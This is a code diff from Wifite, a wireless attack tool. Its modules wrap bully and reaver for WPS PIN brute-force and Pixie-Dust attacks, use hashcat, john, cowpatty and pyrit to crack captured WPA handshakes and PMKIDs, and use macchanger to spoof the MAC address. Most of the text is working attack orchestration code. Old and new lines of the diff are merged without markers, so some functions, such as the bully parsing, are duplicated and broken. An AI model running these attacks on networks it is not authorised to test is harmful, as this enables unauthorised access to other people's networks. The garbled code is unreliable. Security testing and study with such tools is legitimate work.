def get_status(self):
result = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
result += ")"
return result
main_status = self.state
meta_statuses = []
if self.total_timeouts > 0:
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_failures > 0:
meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)
if self.locked:
meta_statuses.append('{R}Locked{W}')
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
return main_status
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
for line in iter(self.bully_proc.pid.stdout.readline, b''):
if line == '': continue
line = line.decode('utf-8')
line = line.replace('\r', '').replace('\n', '').strip()
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
if Configuration.verbose > 1:
Color.pe('\n{P} [bully:stdout] %s' % line)
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
self.state = self.parse_state(line)
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
self.crack_result = self.parse_crack_result(line)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
if self.crack_result:
break
# [+] Running pixiewps with the information, wait ...
pixie_re = re.search(r".*Running pixiewps with the information", line)
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
def parse_crack_result(self, line):
# Check for line containing PIN and PSK
# [*] Pin is '80246213', key is 'password'
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
###############
# Check for PIN
if self.cracked_pin is None:
# PIN : '80246213'
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# [Pixie-Dust] PIN FOUND: 01030365
pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
if self.cracked_pin is not None:
# Mention the PIN & that we're not done yet.
self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
self.state = '{G}Finding Key...{C}'
time.sleep(2)
###########################
# KEY : 'password'
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re:
self.cracked_key = key_re.group(1)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)
self.crack_result = CrackResultWPS(
self.target.bssid,
self.target.essid,
self.cracked_pin,
self.cracked_key)
Color.pl("")
Color.pl('')
self.crack_result.dump()
return True
return self.crack_result
def parse_state(self, line):
state = self.state
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
state = 'Got beacon'
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=NoAssoc, group(2)=PIN
pin = last_state.group(2)
if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
state = 'Trying PIN'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(
r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if mx_result_pin:
# group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN
self.locked = False
m_state = mx_result_pin.group(1)
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3)
if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
if result in ['Pin1Bad', 'Pin2Bad']:
result = '{G}%s{W}' % result
elif result == 'Timeout':
self.total_timeouts += 1
result = '{O}%s{W}' % result
elif result == 'WPSFail':
self.total_failures += 1
result = '{O}%s{W}' % result
elif result == 'NoAssoc':
result = '{O}%s{W}' % result
else:
return False
result = '{R}%s{W}' % result
result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
state = 'Trying PIN (%s)' % result
# [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)
re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)
if re_tested:
# group(1)=01:23:45, group(2)=1234
self.total_attempts = int(re_tested.group(2))
#[!] Current rate 5.28 seconds per pin, 07362 pins remaining
re_remaining = re.search(r' ([0-9]+) pins remaining', line)
if re_remaining:
self.pins_remaining = int(re_remaining.group(1))
# [!] Average time to crack is 5 hours, 23 minutes, 55 seconds
re_eta = re.search(
r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line)
if re_eta:
h, m, s = re_eta.groups()
self.eta = '%sh%sm%ss' % (
h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))
# [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout:
self.locked = True
sleeping = re_lockout.group(1)
state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping
# [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if re_pin_not_found:
state = '{R}Failed: {O}Bully says "WPS pin not found"{W}'
# [+] Running pixiewps with the information, wait ...
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
if re_running_pixiewps:
state = '{G}Running pixiewps...{W}'
return state
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def __del__(self):
self.stop()
@staticmethod
def get_psk_from_pin(target, pin):
# Fetches PSK from a Target assuming 'pin' is the correct PIN
'''
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
PIN : '01030365'
KEY : 'password'
BSSID : '34:21:09:01:92:7c'
ESSID : 'AirLink89300'
'''
cmd = [
'bully',
'--channel', target.channel,
'--bssid', target.bssid,
'--pin', pin,
'--bruteforce',
'--force',
Configuration.interface
]
bully_proc = Process(cmd)
for line in bully_proc.stderr().split('\n'):
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re is not None:
psk = key_re.group(1)
return psk
return None
if __name__ == '__main__':
Configuration.initialize()
Configuration.interface = 'wlan0mon'
from ..model.target import Target
fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',')
target = Target(fields)
psk = Bully.get_psk_from_pin(target, '01030365')
print('psk', psk)
'''
stdout = " [*] Pin is '11867722', key is '9a6f7997'"
Configuration.initialize(False)
from ..model.target import Target
@@ -222,3 +407,4 @@ if __name__ == '__main__':
target = Target(fields)
b = Bully(target)
b.parse_line(stdout)
'''

41
wifite/tools/cowpatty.py Normal file
View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
import re
class Cowpatty(Dependency):
''' Wrapper for Cowpatty program. '''
dependency_required = False
dependency_name = 'cowpatty'
dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty'
@staticmethod
def crack_handshake(handshake, show_command=False):
# Crack john file
command = [
'cowpatty',
'-f', Configuration.wordlist,
'-r', handshake.capfile,
'-s', handshake.essid
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
key = None
for line in stdout.split('\n'):
if 'The PSK is "' in line:
key = line.split('"', 1)[1][:-2]
break
return key

80
wifite/tools/dependency.py Executable file
View File

@@ -0,0 +1,80 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
class Dependency(object):
required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required']
# https://stackoverflow.com/a/49024227
def __init_subclass__(cls):
for attr_name in cls.required_attr_names:
if not attr_name in cls.__dict__:
raise NotImplementedError(
'Attribute "{}" has not been overridden in class "{}"' \
.format(attr_name, cls.__name__)
)
@classmethod
def exists(cls):
from ..util.process import Process
return Process.exists(cls.dependency_name)
@classmethod
def run_dependency_check(cls):
from ..util.color import Color
from .airmon import Airmon
from .airodump import Airodump
from .aircrack import Aircrack
from .aireplay import Aireplay
from .ip import Ip
from .iw import Iw
from .bully import Bully
from .reaver import Reaver
from .wash import Wash
from .pyrit import Pyrit
from .tshark import Tshark
from .macchanger import Macchanger
from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool
apps = [
# Aircrack
Aircrack, #Airodump, Airmon, Aireplay,
# wireless/net tools
Iw, Ip,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Hashcat
Hashcat, HcxDumpTool, HcxPcapTool,
# Misc
Macchanger
]
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {O}At least 1 Required app is missing. Wifite needs Required apps to run{W}')
import sys
sys.exit(-1)
@classmethod
def fails_dependency_check(cls):
from ..util.color import Color
from ..util.process import Process
if Process.exists(cls.dependency_name):
return False
if cls.dependency_required:
Color.p('{!} {O}Error: Required app {R}%s{O} was not found' % cls.dependency_name)
Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)
return True
else:
Color.p('{!} {O}Warning: Recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)
return False

217
wifite/tools/hashcat.py Executable file
View File

@@ -0,0 +1,217 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.color import Color
import os
class Hashcat(Dependency):
dependency_required = False
dependency_name = 'hashcat'
dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def should_use_force():
command = ['hashcat', '-I']
stderr = Process(command).stderr()
return 'No devices found/left' in stderr
@staticmethod
def crack_handshake(handshake, show_command=False):
# Generate hccapx
hccapx_file = HcxPcapTool.generate_hccapx_file(
handshake, show_command=show_command)
key = None
# Crack hccapx
for additional_arg in ([], ['--show']):
command = [
'hashcat',
'--quiet',
'-m', '2500',
hccapx_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if ':' not in stdout:
continue
else:
key = stdout.split(':', 5)[-1].strip()
break
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
return key
@staticmethod
def crack_pmkid(pmkid_file, verbose=False):
'''
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
Returns:
Key (str) if found; `None` if not found.
'''
# Run hashcat once normally, then with --show if it failed
# To catch cases where the password is already in the pot file.
for additional_arg in ([], ['--show']):
command = [
'hashcat',
'--quiet', # Only output the password if found.
'-m', '16800', # WPA-PMKID-PBKDF2
'-a', '0', # Wordlist attack-mode
pmkid_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if verbose and additional_arg == []:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
# TODO: Check status of hashcat (%); it's impossible with --quiet
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
if ':' not in stdout:
# Failed
continue
else:
# Cracked
key = stdout.strip().split(':', 1)[1]
return key
class HcxDumpTool(Dependency):
dependency_required = False
dependency_name = 'hcxdumptool'
dependency_url = 'https://github.com/ZerBea/hcxdumptool'
def __init__(self, target, pcapng_file):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_handle:
filter_handle.write(target.bssid.replace(':', ''))
if os.path.exists(pcapng_file):
os.remove(pcapng_file)
command = [
'hcxdumptool',
'-i', Configuration.interface,
'--filterlist', filterlist,
'--filtermode', '2',
'-c', str(target.channel),
'-o', pcapng_file
]
self.proc = Process(command)
def poll(self):
return self.proc.poll()
def interrupt(self):
self.proc.interrupt()
class HcxPcapTool(Dependency):
dependency_required = False
dependency_name = 'hcxpcaptool'
dependency_url = 'https://github.com/ZerBea/hcxtools'
def __init__(self, target):
self.target = target
self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
@staticmethod
def generate_hccapx_file(handshake, show_command=False):
hccapx_file = Configuration.temp('generated.hccapx')
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
command = [
'hcxpcaptool',
'-o', hccapx_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(hccapx_file):
raise ValueError('Failed to generate .hccapx file, output: \n%s\n%s' % (
stdout, stderr))
return hccapx_file
@staticmethod
def generate_john_file(handshake, show_command=False):
john_file = Configuration.temp('generated.john')
if os.path.exists(john_file):
os.remove(john_file)
command = [
'hcxpcaptool',
'-j', john_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if not os.path.exists(john_file):
raise ValueError('Failed to generate .john file, output: \n%s\n%s' % (
stdout, stderr))
return john_file
def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file)
command = [
'hcxpcaptool',
'-z', self.pmkid_file,
pcapng_file
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_file):
return None
with open(self.pmkid_file, 'r') as f:
output = f.read()
# Each line looks like:
# hash*bssid*station*essid
# Note: The dumptool will record *anything* it finds, ignoring the filterlist.
# Check that we got the right target (filter by BSSID)
matching_pmkid_hash = None
for line in output.split('\n'):
fields = line.split('*')
if len(fields) >= 3 and fields[1].lower() == self.bssid:
# Found it
matching_pmkid_hash = line
break
os.remove(self.pmkid_file)
return matching_pmkid_hash

53
wifite/tools/ip.py Executable file
View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
from .dependency import Dependency
class Ip(Dependency):
dependency_required = True
dependency_name = 'ip'
dependency_url = 'apt-get install ip'
@classmethod
def up(cls, interface, args=[]):
'''Put interface up'''
from ..util.process import Process
command = ['ip', 'link', 'set', interface]
if type(args) is list:
command.extend(args)
elif type(args) is 'str':
command.append(args)
command.append('up')
pid = Process(command)
pid.wait()
if pid.poll() != 0:
raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
@classmethod
def down(cls, interface):
'''Put interface down'''
from ..util.process import Process
pid = Process(['ip', 'link', 'set', interface, 'down'])
pid.wait()
if pid.poll() != 0:
raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
@classmethod
def get_mac(cls, interface):
from ..util.process import Process
output = Process(['ip', 'link show', interface]).stdout()
match = re.search(r'([a-fA-F0-9]{2}[-:]){5}[a-fA-F0-9]{2}', output)
if match:
return match.group(0).replace('-', ':')
raise Exception('Could not find the mac address for %s' % interface)

53
wifite/tools/iw.py Executable file
View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
class Iw(Dependency):
dependency_required = True
dependency_name = 'iw'
dependency_url = 'apt-get install iw'
@classmethod
def mode(cls, iface, mode_name):
from ..util.process import Process
pid = None
if mode_name == "monitor":
pid = Process(['iw', iface, 'set monitor control'])
else:
pid = Process(['iw', iface, 'type', mode_name])
pid.wait()
return pid.poll()
@classmethod
def get_interfaces(cls, mode=None):
from ..util.process import Process
import re
ireg = re.compile(r"\s+Interface\s[a-zA-Z0-9]+")
mreg = re.compile(r"\s+type\s[a-zA-z]+")
ires = None
mres = None
interfaces = set()
iface = ''
(out, err) = Process.call('iw dev')
if mode is None:
for line in out.split('\n'):
ires = ireg.search(line)
if ires:
interfaces.add(ires.group().split("Interface")[-1])
else:
for line in out.split('\n'):
ires = ireg.search(line)
mres = mreg.search(line)
if mres:
if mode == mres.group().split("type")[-1][1:]:
interfaces.add(iface)
if ires:
iface = ires.group().split("Interface")[-1][1:]
return list(interfaces)

65
wifite/tools/john.py Normal file
View File

@@ -0,0 +1,65 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
class John(Dependency):
''' Wrapper for John program. '''
dependency_required = False
dependency_name = 'john'
dependency_url = 'http://www.openwall.com/john/'
@staticmethod
def crack_handshake(handshake, show_command=False):
john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command)
# Use `john --list=formats` to find if OpenCL or CUDA is supported.
formats_stdout = Process(['john', '--list=formats']).stdout()
if 'wpapsk-opencl' in formats_stdout:
john_format = 'wpapsk-opencl'
elif 'wpapsk-cuda' in formats_stdout:
john_format = 'wpapsk-cuda'
else:
john_format = 'wpapsk'
# Crack john file
command = [
'john',
'--format=%s' % john_format,
'--wordlist', Configuration.wordlist,
john_file
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
process.wait()
# Run again with --show to consistently get the password
command = ['john', '--show', john_file]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
# Parse password (regex doesn't work for some reason)
if '0 password hashes cracked' in stdout:
key = None
else:
for line in stdout.split('\n'):
if handshake.capfile in line:
key = line.split(':')[1]
break
if os.path.exists(john_file):
os.remove(john_file)
return key

View File

@@ -1,82 +1,89 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.interface import Interface
from .dependency import Dependency
from ..tools.ip import Ip
from ..util.color import Color
class Macchanger(object):
is_init = False
class Macchanger(Dependency):
dependency_required = False
dependency_name = 'macchanger'
dependency_url = 'apt-get install macchanger'
is_changed = False
original_mac = None
@classmethod
def init(cls):
if cls.is_init: return
from ..config import Configuration
iface = Configuration.interface
if type(iface) == Interface:
iface = iface.name
cls.original_mac = Interface.get_mac(iface)
@classmethod
def down_macch_up(cls, macch_option):
cls.init()
def down_macch_up(cls, iface, options):
'''Put interface down, run macchanger with options, put interface up'''
from ..util.process import Process
from ..config import Configuration
iface = Configuration.interface
cmd = ["ifconfig", iface, "down"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
ifdown = Process(cmd)
ifdown.wait()
if ifdown.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
return False
Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface)
Ip.down(iface)
cmd = ["macchanger", macch_option, iface]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
macch = Process(cmd)
Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface)
command = ['macchanger']
command.extend(options)
command.append(iface)
macch = Process(command)
macch.wait()
if macch.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command))
Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr()))
return False
cmd = ["ifconfig", iface, "up"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
ifup = Process(cmd)
ifup.wait()
if ifup.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
return False
Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface)
Ip.up(iface)
return True
@classmethod
def get_interface(cls):
# Helper method to get interface from configuration
from ..config import Configuration
return Configuration.interface
@classmethod
def reset(cls):
# --permanent to reset to permanent MAC address
if not cls.down_macch_up("-p"): return
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
from ..config import Configuration
new_mac = Interface.get_mac(Configuration.interface)
iface = cls.get_interface()
Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface)
# -p to reset to permanent MAC address
if cls.down_macch_up(iface, ['-p']):
new_mac = Ip.get_mac(iface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
@classmethod
def random(cls):
# Use --permanent to use random MAC address
if not cls.down_macch_up("-r"): return
from ..util.process import Process
if not Process.exists('macchanger'):
Color.pl('{!} {R}macchanger: {O}not installed')
return
iface = cls.get_interface()
Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface)
# -r to use random MAC address
# -e to keep vendor bytes the same
if cls.down_macch_up(iface, ['-e']):
cls.is_changed = True
from ..config import Configuration
new_mac = Interface.get_mac(Configuration.interface)
new_mac = Ip.get_mac(iface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
@classmethod
def reset_if_changed(cls):
if not cls.is_changed: return
if cls.is_changed:
cls.reset()

60
wifite/tools/pyrit.py Executable file
View File

@@ -0,0 +1,60 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..util.process import Process
import re
class Pyrit(Dependency):
''' Wrapper for Pyrit program. '''
dependency_required = False
dependency_name = 'pyrit'
dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki'
def __init__(self):
pass
@staticmethod
def bssid_essid_with_handshakes(capfile, bssid=None, essid=None):
if not Pyrit.exists():
return []
command = [
'pyrit',
'-r', capfile,
'analyze'
]
pyrit = Process(command, devnull=False)
current_bssid = current_essid = None
bssid_essid_pairs = set()
'''
#1: AccessPoint 18:a6:f7:31:d2:06 ('TP-LINK_D206'):
#1: Station 08:66:98:b2:ab:28, 1 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: Station ac:63:be:3a:a2:f4
'''
for line in pyrit.stdout().split('\n'):
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" % (mac_regex), line)
if match:
# We found a new BSSID and ESSID
(current_bssid, current_essid) = match.groups()
if bssid is not None and bssid.lower() != current_bssid:
current_bssid = None
current_essid = None
elif essid is not None and essid != current_essid:
current_bssid = None
current_essid = None
elif current_bssid is not None and current_essid is not None:
# We hit an AP that we care about.
# Line does not contain AccessPoint, see if it's 'good'
if ', good' in line:
bssid_essid_pairs.add( (current_bssid, current_essid) )
return list(bssid_essid_pairs)

View File

@@ -1,161 +1,320 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from .airodump import Airodump
from .bully import Bully # for PSK retrieval
from ..model.attack import Attack
from ..config import Configuration
from ..model.wps_result import CrackResultWPS
from ..util.color import Color
from ..util.process import Process
from ..tools.airodump import Airodump
from ..model.wps_result import CrackResultWPS
from ..util.timer import Timer
import os, time, re
class Reaver(Attack):
def __init__(self, target):
class Reaver(Attack, Dependency):
dependency_required = False
dependency_name = 'reaver'
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
def __init__(self, target, pixie_dust=True):
super(Reaver, self).__init__(target)
self.success = False
self.pixie_dust = pixie_dust
self.progress = '0.00%'
self.state = 'Initializing'
self.locked = False
self.total_attempts = 0
self.total_timeouts = 0
self.total_wpsfails = 0
self.last_pins = set()
self.last_line_number = 0
self.crack_result = None
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
self.output_filename = Configuration.temp('reaver.out')
if os.path.exists(self.output_filename):
os.remove(self.output_filename)
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
self.output_write = open(self.output_filename, 'a')
command = [
self.reaver_cmd = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
#'--delay', '0',
#'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
'-vv'
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = 'initializing'
time_since_last_step = 0
if pixie_dust:
self.reaver_cmd.extend(['--pixie-dust', '1'])
self.reaver_proc = None
@staticmethod
def is_pixiedust_supported():
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run(self):
''' Returns True if attack is successful. '''
try:
self._run() # Run-loop
except Exception as e:
# Failed with error
self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
return self.crack_result is not None
# Stop reaver if it's still running
if self.reaver_proc.poll() is None:
self.reaver_proc.interrupt()
# Clean up open file handle
if self.output_write:
self.output_write.close()
return self.crack_result is not None
def _run(self):
self.start_time = time.time()
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
# Wait for target
self.pattack('Waiting for target to appear...')
self.target = self.wait_for_target(airodump)
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
# Start reaver
self.reaver_proc = Process(self.reaver_cmd,
stdout=self.output_write,
stderr=Process.devnull())
# Say "yes" if asked to restore session.
self.reaver_proc.stdin('y\n')
stdout_write.flush()
# Loop while reaver is running
while self.crack_result is None and self.reaver_proc.poll() is None:
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
# Refresh target information (power)
self.target = self.wait_for_target(airodump)
# Update based on reaver output
stdout = self.get_output()
self.state = self.parse_state(stdout)
self.parse_failure(stdout)
# Print status line
self.pattack(self.get_status())
# Check if we cracked it
self.crack_result = self.parse_crack_result(stdout)
# Check if locked
if self.locked and not Configuration.wps_ignore_lock:
raise Exception('{O}Access point is {R}Locked{W}')
time.sleep(0.5)
# Check if crack result is in output
stdout = self.get_output()
self.crack_result = self.parse_crack_result(stdout)
# Show any failures found
if self.crack_result is None:
self.parse_failure(stdout)
if self.crack_result is None and self.reaver_proc.poll() is not None:
raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
def get_status(self):
if self.pixie_dust:
main_status = ''
else:
# Include percentage
main_status = '({G}%s{W}) ' % self.progress
# Current state (set in parse_* methods)
main_status += self.state
# Counters, timeouts, failures, locked.
meta_statuses = []
